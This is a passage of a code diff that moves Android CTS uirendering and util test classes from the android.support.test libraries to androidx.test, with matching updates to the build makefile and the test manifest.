 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
index 4b8b6b2..cc01598 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/GradientTests.java
@@ -21,10 +21,12 @@
 import android.graphics.Paint;
 import android.graphics.Point;
 import android.graphics.Shader;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 3391bb9..31ce395 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -34,8 +34,6 @@
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.NinePatchDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.ExactComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
@@ -44,6 +42,9 @@
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.util.DisplayMetrics;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
index abaf96e..003b9d3 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/InfrastructureTests.java
@@ -18,9 +18,6 @@
 import android.graphics.Color;
 import android.graphics.Point;
 import android.graphics.Rect;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
@@ -29,6 +26,10 @@
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index b4c7798..dee7e42 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -29,9 +29,6 @@
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
 import android.graphics.Rect;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.ColorCountVerifier;
@@ -48,6 +45,9 @@
 import android.widget.FrameLayout;
 
 import androidx.annotation.ColorInt;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Ignore;
 import org.junit.Test;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
index 3d1c10e..01879f0 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayoutTests.java
@@ -17,13 +17,14 @@
 
 import android.graphics.Color;
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
index d78972f..20f1fda 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathClippingTests.java
@@ -24,9 +24,6 @@
 import android.graphics.Path;
 import android.graphics.Point;
 import android.graphics.Typeface;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
@@ -40,6 +37,10 @@
 import android.view.ViewGroup;
 import android.webkit.WebView;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
index 632ff85..e46793f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PathTests.java
@@ -4,13 +4,14 @@
 import android.graphics.Paint;
 import android.graphics.Path;
 import android.graphics.Typeface;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
index 454eb2c0..ba92a606 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/PictureTest.java
@@ -21,12 +21,13 @@
 import android.graphics.Paint;
 import android.graphics.Picture;
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
index d9ec2b5..13d52c8 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/Rgba16fTests.java
@@ -24,12 +24,13 @@
 import android.graphics.Paint;
 import android.graphics.Point;
 import android.graphics.Shader;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
index 252874d..651b7f9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShaderTests.java
@@ -26,13 +26,14 @@
 import android.graphics.PorterDuff;
 import android.graphics.RadialGradient;
 import android.graphics.Shader;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
index 3de3d59..0372ba2 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
@@ -23,8 +23,6 @@
 import android.content.res.TypedArray;
 import android.graphics.Color;
 import android.graphics.Point;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -33,6 +31,9 @@
 import android.view.ContextThemeWrapper;
 import android.view.View;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
index ecd8dfc..6429bbd 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShapeTests.java
@@ -16,13 +16,14 @@
 
 package android.uirendering.cts.testclasses;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
index 2e1ce85..1e0c89f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SurfaceViewTests.java
@@ -21,8 +21,6 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Rect;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -36,6 +34,9 @@
 import android.view.animation.LinearInterpolator;
 import android.widget.FrameLayout;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 
 import org.junit.Assert;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
index 9ffb045..7c2121d 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/SweepTests.java
@@ -22,8 +22,6 @@
 import android.graphics.Paint;
 import android.graphics.Rect;
 import android.graphics.Shader;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -31,6 +29,9 @@
 import android.uirendering.cts.testinfrastructure.DisplayModifier;
 import android.uirendering.cts.testinfrastructure.ResourceModifier;
 
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
index ad20dd7..fa8f54c 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/TextureViewTests.java
@@ -25,9 +25,6 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.SurfaceTexture;
-import androidx.annotation.ColorInt;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -38,6 +35,10 @@
 import android.view.TextureView.SurfaceTextureListener;
 import android.view.ViewGroup;
 
+import androidx.annotation.ColorInt;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.After;
 import org.junit.AfterClass;
 import org.junit.Assert;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
index f4db101..e54004d 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/VectorDrawableTests.java
@@ -25,20 +25,21 @@
 import android.graphics.Point;
 import android.graphics.Rect;
 import android.graphics.drawable.VectorDrawable;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
-
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
 import android.view.View;
 import android.widget.FrameLayout;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
+
 import java.util.concurrent.CountDownLatch;
-import android.animation.Animator;
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
index 88aa265..90fc1dd 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
@@ -16,8 +16,6 @@
 
 package android.uirendering.cts.testclasses;
 
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
 import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
@@ -25,6 +23,9 @@
 import android.uirendering.cts.testinfrastructure.ViewInitializer;
 import android.view.ViewAnimationUtils;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
index d1f0ee5..14fbc0f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
@@ -6,8 +6,6 @@
 import android.graphics.Outline;
 import android.graphics.Path;
 import android.graphics.Rect;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
@@ -18,6 +16,9 @@
 import android.view.ViewGroup;
 import android.view.ViewOutlineProvider;
 
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
index 9f46e36..936f0f6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/WideColorGamutTests.java
@@ -21,8 +21,6 @@
 import android.graphics.Color;
 import android.graphics.ColorSpace;
 import android.graphics.Point;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
@@ -30,6 +28,10 @@
 import android.uirendering.cts.testclasses.view.BitmapView;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.view.View;
+
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
index d28167e..116ecd9 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
@@ -25,11 +25,12 @@
 import android.graphics.PorterDuffXfermode;
 import android.graphics.RectF;
 import android.graphics.drawable.ColorDrawable;
-import android.support.test.filters.LargeTest;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
 
+import androidx.test.filters.LargeTest;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index 6f2ac81..e6359c6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -21,14 +21,15 @@
 import android.graphics.Bitmap.Config;
 import android.graphics.Point;
 import android.graphics.Rect;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.util.BitmapAsserter;
 import android.util.Log;
 import android.view.PixelCopy;
 
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 
 import org.junit.After;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
index e96fe0b..5c59c46 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
@@ -17,7 +17,6 @@
 
 import android.graphics.Bitmap;
 import android.os.Environment;
-import android.support.test.InstrumentationRegistry;
 import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
 import android.util.Log;
 
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 5e403a4..3aadfa1 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -28,8 +28,8 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.annotation_annotation \
-    android-support-test \
-    ctstestrunner
+    androidx.test.rules \
+    ctstestrunner-axt
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/util/AndroidManifest.xml b/tests/tests/util/AndroidManifest.xml
index 8c48735..0e71890 100644
--- a/tests/tests/util/AndroidManifest.xml
+++ b/tests/tests/util/AndroidManifest.xml
@@ -24,7 +24,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.util.cts"
                      android:label="CTS tests of android.util">
         <meta-data android:name="listener"
diff --git a/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java b/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
index 86cf1b1..05a5bf6 100644
--- a/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
+++ b/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
@@ -18,10 +18,11 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AndroidException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java b/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
index 886269f..4c51f3d 100644
--- a/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
+++ b/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
@@ -18,10 +18,11 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AndroidRuntimeException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/ArrayMapTest.java b/tests/tests/util/src/android/util/cts/ArrayMapTest.java
index c89972d..cc9feac 100644
--- a/tests/tests/util/src/android/util/cts/ArrayMapTest.java
+++ b/tests/tests/util/src/android/util/cts/ArrayMapTest.java
@@ -18,7 +18,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -26,11 +25,12 @@
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.ArrayMap;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/ArraySetTest.java b/tests/tests/util/src/android/util/cts/ArraySetTest.java
index f8ff037..d84abc7 100644
--- a/tests/tests/util/src/android/util/cts/ArraySetTest.java
+++ b/tests/tests/util/src/android/util/cts/ArraySetTest.java
@@ -19,16 +19,16 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotSame;
-import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.ArraySet;
 import android.util.Log;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -38,7 +38,6 @@
 import java.util.NoSuchElementException;
 
 // As is the case with ArraySet itself, ArraySetTest borrows heavily from ArrayMapTest.
-
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ArraySetTest {
diff --git a/tests/tests/util/src/android/util/cts/DebugUtilsTest.java b/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
index 8d5f61b..8fe3e94 100644
--- a/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
@@ -17,10 +17,11 @@
 
 import static org.junit.Assert.assertFalse;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DebugUtils;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
index 4966be0..68a7cb9 100644
--- a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
+++ b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
@@ -20,13 +20,14 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.WindowManager;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/EventLogTest.java b/tests/tests/util/src/android/util/cts/EventLogTest.java
index a0ce6b7..3e93412 100644
--- a/tests/tests/util/src/android/util/cts/EventLogTest.java
+++ b/tests/tests/util/src/android/util/cts/EventLogTest.java
@@ -19,14 +19,14 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 
 import android.os.Process;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.EventLog;
 import android.util.EventLog.Event;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/HalfTest.java b/tests/tests/util/src/android/util/cts/HalfTest.java
index 89567a5..d79669b 100644
--- a/tests/tests/util/src/android/util/cts/HalfTest.java
+++ b/tests/tests/util/src/android/util/cts/HalfTest.java
@@ -16,20 +16,20 @@
 
 package android.util.cts;
 
-import android.util.Half;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
 import static android.util.Half.*;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.assertFalse;
+
+import android.util.Half;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
diff --git a/tests/tests/util/src/android/util/cts/JsonReaderTest.java b/tests/tests/util/src/android/util/cts/JsonReaderTest.java
index 9ac3fc3..55471c6 100644
--- a/tests/tests/util/src/android/util/cts/JsonReaderTest.java
+++ b/tests/tests/util/src/android/util/cts/JsonReaderTest.java
@@ -21,12 +21,13 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.JsonReader;
 import android.util.JsonToken;
 import android.util.MalformedJsonException;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/util/src/android/util/cts/JsonWriterTest.java b/tests/tests/util/src/android/util/cts/JsonWriterTest.java
index 79819a2..b939bf0 100644
--- a/tests/tests/util/src/android/util/cts/JsonWriterTest.java
+++ b/tests/tests/util/src/android/util/cts/JsonWriterTest.java
@@ -19,10 +19,11 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.JsonWriter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
